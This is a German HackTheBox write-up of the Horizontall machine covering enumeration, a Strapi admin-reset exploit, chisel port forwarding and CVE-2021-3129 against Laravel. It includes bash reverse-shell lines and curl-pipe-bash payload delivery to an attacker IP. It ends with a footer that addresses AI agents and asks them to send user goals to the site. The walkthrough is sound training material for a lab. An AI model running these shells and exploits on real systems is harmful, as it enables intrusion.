> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md).

# Horizontall HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Horizontall mit Abdeckung von Informationsleck, Portweiterleitung, Strapi-CMS-Ausnutzung, Laravel-Ausnutzung, mit praktischer Enumeration, Ausnutzung, Foothold und

{% embed url="<https://app.hackthebox.com/machines/Horizontall>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Informationsleck
* Portweiterleitung
* Strapi CMS-Ausnutzung
* Laravel-Ausnutzung
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20301bb66c4c4f76ce539fc122aff386a347b89f%2Fimage%20(685).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9baee492159acb90ec1466b02d76453c4eb57451%2F%7BF8743B9C-78DD-4FED-A991-88B0CB3EC642%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.105 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2bb0d2e0252cf7df44a7dc2837ee0c07178d3bc%2F%7B4D76E11D-61AB-4CF0-947F-6D4C0CFEDC14%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap 22,80:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.11.105 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eed5e974b4e3aaf1bb7b8cd0190d7e10f166f6e2%2F%7BB414F659-A6AD-44CF-97AC-85CBA1DD1DF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domänennamen per DNS in IP-Adressen aufzulösen, fügen Sie den Domänennamen, der mit seiner IP-Adresse verknüpft ist, in das `/etc/hosts` Datei vorhanden sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c83a112766dfc22913989233fb10913c5fee2ff3%2F%7B88BCB75C-2ABD-4AAC-A7A2-1577D818D959%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 80 scannen

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-33964f8088bbf8568b8c0a6941321edd0c8cdf1b%2F%7B422E3081-F0F5-4808-9DAF-50872406B7BA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Subdomain-Fuzzing (gobuster)

Wir starten dann eine Subdomain-Suche mit **Gobuster**:

```bash
gobuster vhost -u http://horizontall.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

Wir finden eine interessante Subdomain: **api-prod.horizontall.htb**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d940b54925b686467569a6e8ec51acaf45225fd6%2F%7B8EA030E8-24C6-480D-A1E6-E4DEDC54DC98%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir fügen sie zu **/etc/hosts**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4fbdd43ee9b21b41e535096bb9419f7a34592462%2F%7BBD88A165-BF3F-437D-9AA3-F4F0E948460C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6b4f053f8265a19bc6b407a3863e732d0c0d734%2F%7B7680AD3B-455B-41F6-979D-9E254C5E5058%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### API-Verzeichnis-Fuzzing

Wir führen eine Analyse der auf der API-Subdomain zugänglichen Verzeichnisse durch:

```
gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Wir finden:

* admin
* users
* reviews

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40096fa636dade2ea057c35005462a8ef267a141%2F%7B0CA1320A-12DE-497C-A944-4E0E8E4FC0C6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
gobuster dir -u http://api-prod.horizontall.htb/Users/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

### Strapi CMS-Ausnutzung (RCE)

Wir suchen mit nach einer Schwachstelle für Strapi **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8cc970e4b5c3bac600ad4f520949c707f450daf%2F%7B35D7BA0B-9172-4F74-B29D-74CA16E134E7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir verwenden den Exploit:

```bash
python3 50239.py http://api-prod.horizontall.htb
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e09d172df466768f6b347acb5a15148c5c17afa6%2F%7B53021833-6E72-4A79-A8E6-2F19495ACFBD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dies verschafft uns Administrator-Anmeldedaten

{% code overflow="wrap" %}

```javascript
[+] Deine E-Mail lautet: admin@horizontall.htb
[+] Deine neuen Anmeldedaten lauten: admin:SuperStrongPassword1 
[+] Dein authentifiziertes JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f3b1790ca2d9d9a6dce9c51a3ae86f29df6539e%2F%7B8742055F-D2C6-4EB1-93AC-AB361FE38CD5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir erhalten einen Passwort-Hash des gerade erstellten Benutzers:

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-accbc0751911c7774923efb59d4cd3f9617cda5d%2F%7B50627C1F-1605-4281-B461-EB4F33924607%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Erhalten einer Reverse Shell

Wir erstellen ein **index.html** mit einer Reverse-Shell-Payload:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

Wir starten einen Webserver:

```bash
python3 -m http.server 80
```

Wir öffnen eine lauschende Verbindung:

```bash
nc -nlvp 443
```

Dann führen wir die Payload auf dem Ziel aus:

```bash
curl http://10.10.14.75:80 | bash
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d05e583fe7fb8ceed6b68341fdaae691a25dff5%2Fimage%20(686).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Wir stabilisieren unsere Shell:

```bash
script /dev/null -c bash
# Strg+Z


reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e382ab18afddc9451242a7db7096d0875d97a62%2Fimage%20(687).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

Dann haben wir die auf dem Zielsystem offenen Ports aufgelistet, um das Vorhandensein von Port 8000 zu prüfen:

```bash
netstat -tuln
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d630123a94cb800b9ca8e7d470feeb2ed78059f0%2Fimage%20(681).png?alt=media" alt=""><figcaption></figcaption></figure>

Dann haben wir `curl` verwendet, um den Zugriff auf den Dienst auf Port 8000 zu testen:

```bash
curl 127.0.0.1:8000
```

Dann stellten wir die Präsenz des Laravel-CMS fest.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a53aeea0751838efae551baf642d86317c9683d%2Fimage%20(682).png?alt=media" alt=""><figcaption></figcaption></figure>

### Portweiterleitung mit chisel Port 8000

Zuerst kompilierten wir Chisel auf unserem lokalen Rechner:

{% embed url="<https://github.com/jpillora/chisel>" %}

Dann übertrugen wir die Chisel-Ausführungsdatei über einen Python3-HTTP-Server auf die Opfermaschine

```bash
go build -ldflags "-s -w" .
upx chisel
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4989ad799b602ab128b078cb690abe752ce5bede%2Fimage%20(683).png?alt=media" alt=""><figcaption></figcaption></figure>

Dann übertrugen wir die Chisel-Ausführungsdatei über einen Python3-HTTP-Server auf die Opfermaschine

```bash
python3 -m http.server 8080
wget http://10.10.14.75:8080/chisel
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1cbb0a78f07453b8f55fa48f1efd088999afd9a9%2Fimage%20(684).png?alt=media" alt=""><figcaption></figcaption></figure>

Auf unserem Rechner starteten wir den Chisel-Server:

```bash
./chisel server -p 9000 -reverse
```

Dann konfigurierten wir auf der Opfermaschine den Chisel-Client so, dass Port 8000 an unseren lokalen Rechner weitergeleitet wird:

```bash
./chisel client 10.10.14.75:9000 R:8000:127.0.0.1:8000
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd557f1521cdc827a04faa6699bbaf05b9cda5f8%2F%7BB6238774-9C13-4390-9F5B-45510B38D907%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Laravel CMS-Ausnutzung (CVE-2021-3129)

{% embed url="<https://github.com/0x0d3ad/CVE-2021-3129>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-506eb507d9be1338b8840e3cae973754e3b531c2%2Fimage%20(678).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Beliebige Befehle ausführen

Wir nutzen die Schwachstelle CVE-2021-3129 aus, um beliebige Befehle auf dem Server auszuführen. Zuerst testen wir die Ausführung, indem wir den `ID` Befehl:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id'
```

Die Ausgabe bestätigt, dass wir Root-Rechte haben.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28f3919b67c882d9ed14f04f06a2a9e53db5f454%2F%7B55509709-B678-488F-B911-350B40351CAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

Sobald der Zugriff bestätigt ist, holen wir uns die Flagge durch das Lesen der `/root/root.txt` Datei ein:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'cat /root/root.txt'
```

### Interaktiven Zugriff erhalten (Reverse Shell)

Um eine interaktive Shell zu erhalten, richten wir einen Listener auf Port 443 ein:

```bash
nc -nvlp 443
```

Anschließend verschaffen wir dem Ziel mithilfe des Exploits eine Reverse Shell:

{% code overflow="wrap" %}

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"'
```

{% endcode %}

Dann erhalten wir Root-Zugriff auf dem Zielsystem.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-346dee540bd18ab194c099da9dd65afeae0936da%2F%7B7D8A6B14-4811-4503-AB7E-6CCAA2692F23%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59e51bbb00b12226e1e1595e0fd97477b7b7ce19%2Fimage%20(679).png?alt=media" alt="" width="541"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
